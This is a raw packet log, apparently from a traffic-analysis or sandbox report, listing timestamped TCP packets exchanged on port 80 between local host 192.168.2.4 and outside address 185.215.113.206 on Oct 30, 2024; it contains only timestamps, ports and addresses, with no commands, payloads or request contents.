Oct 30, 2024 02:27:36.187005997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259677887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259728909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259740114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259752035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259764910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259780884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259794950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259805918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259815931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259824991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259835005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.259835005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259861946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.259886026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260025024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260036945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260046959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260056973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260068893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260081053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260102034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260230064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260238886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260250092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260261059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260266066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260287046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260287046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260296106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260384083 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260394096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260423899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260431051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260441065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260452032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260478020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260489941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260626078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260636091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260644913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260665894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260678053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260756016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260766029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260775089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260786057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260795116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260797977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260806084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.260818958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.260844946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261038065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261048079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261058092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261068106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261080980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261092901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261105061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261113882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261116028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261138916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261152029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261348963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261358976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261368036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261377096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261389017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261399031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261418104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261588097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261599064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261607885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261617899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261627913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261636972 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261650085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261670113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261852980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261862993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261871099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261898994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261910915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.261975050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261986017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.261995077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262003899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262013912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262017012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.262023926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.262025118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262042046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262049913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.262053013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.262065887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.262089968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.303076982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.303087950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.303138018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.303138971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.303148031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.303173065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.303230047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377412081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377435923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377449036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377460957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377523899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377536058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377545118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377556086 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377558947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377568960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377600908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377623081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377712965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377753019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377754927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377789974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377832890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377845049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377855062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.377872944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.377892017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378000021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378010988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378027916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378038883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378041983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378050089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378062010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378066063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378091097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378101110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378276110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378285885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378295898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378318071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378324986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378344059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378355026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378365993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378390074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378403902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378587961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378599882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378608942 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378619909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378622055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378632069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378643036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378653049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378676891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378887892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378900051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378910065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378925085 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378927946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378941059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.378950119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.378973007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379146099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379157066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379168034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379177094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379184961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379189014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379199982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379210949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379237890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379420042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379431009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379441977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379451990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379462957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379465103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379473925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379482031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379486084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379497051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379504919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379525900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379549980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379841089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379853010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379863024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379873991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379884005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379895926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379895926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379903078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379909039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379920006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.379925013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379951000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.379966974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380238056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380249977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380259991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380273104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380284071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380290985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380295038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380312920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380326033 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380340099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380362034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380631924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380642891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380652905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.380687952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.380698919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.420698881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.420746088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.420756102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.420759916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.420790911 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.420813084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.420825005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.420852900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.420876026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.494788885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494813919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494823933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494843006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.494856119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.494894028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494904995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494915009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494920969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.494935989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.494961977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495078087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495089054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495115995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495122910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495127916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495157957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495181084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495256901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495266914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495276928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495287895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495299101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495301962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495326042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495347023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495683908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495696068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495706081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495718002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495728016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495737076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495739937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495748043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495754957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495767117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495778084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495795965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495866060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495876074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495886087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495902061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495929003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495929003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495929956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.495955944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.495963097 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496109009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496119976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496129990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496140003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496155024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496171951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496179104 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496212959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496289015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496335030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496428013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496439934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496449947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496460915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496470928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496470928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496483088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496494055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496500015 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496514082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496527910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496690035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496737003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496825933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496836901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496846914 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496856928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496867895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496874094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496879101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496890068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496900082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496901989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496912003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496922016 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.496925116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496936083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.496964931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497291088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497302055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497311115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497323036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497333050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497339964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497344017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497349977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497356892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497366905 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497379065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497381926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497406960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497417927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497737885 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497751951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497761965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497781038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497792006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497793913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497802973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497814894 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497817039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497826099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497826099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497838020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497848988 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.497855902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497875929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.497889996 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.498281002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.498291969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.498301029 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.498311996 CET	80	49760	185.215.113.206	192.168.2.4
